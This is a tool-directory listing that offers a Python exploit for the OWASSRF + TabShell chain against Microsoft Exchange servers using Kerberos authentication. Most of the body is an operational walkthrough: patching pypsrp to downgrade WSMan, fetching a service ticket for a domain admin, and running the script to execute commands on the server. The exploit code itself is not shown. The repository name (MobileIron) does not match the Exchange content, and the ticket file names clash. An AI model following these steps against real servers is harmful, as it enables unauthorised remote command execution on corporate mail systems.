Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/synacktiv/mobileiron-exploit
Authentication & AuthorizationPrivilege EscalationExploitationWeb Application ExploitationPenetration TestingAuthentication
GitHubsynacktiv/mobileiron-exploit

mobileiron-exploit

Python script to exploit the OWASSRF + TabShell chain on vulnerable Microsoft Exchange servers, leveraging Kerberos authentication for command execution.

View Repository
912 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Tabshell exploit with Kerberos authentication

  • Adapted from The OWASSRF + TabShell exploit chain

  • First, patch the pyprsp module to enable WSManStackVersion downgrading, and install the dependencies

root@kitploit:~
$ git clone https://github.com/jborean93/pypsrp
$ patch -p0 < pyprsp.patch
patching file pypsrp/src/pypsrp/complex_objects.py
patching file pypsrp/src/pypsrp/powershell.py
patching file pypsrp/src/pypsrp/serializer.py
patching file pypsrp/src/pypsrp/wsman.py

$ virtualenv venv
$ . ./venv/bin/activate
$ pip install ./pypsrp impacket termcolor gssapi krb5
  • Then, ask for a service ticket for the HTTP service class for a vulnerable Exchange, then pass it to the final script :
root@kitploit:~
$ getST.py -spn HTTP/EXCHANGE.CORP.LOCAL -k -no-pass  'CORP/Admin:Password'
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Getting ST for user
[*] Saving ticket in Administrator.ccache

$ KRB5CCNAME=Admin.ccache  python3 krb_tabshell_exec_cmd.py -spn HTTP/EXCHANGE.CORP.LOCAL -url http://EXCHANGE.CORP.LOCAL -cmd whoami
[...]
Download Tool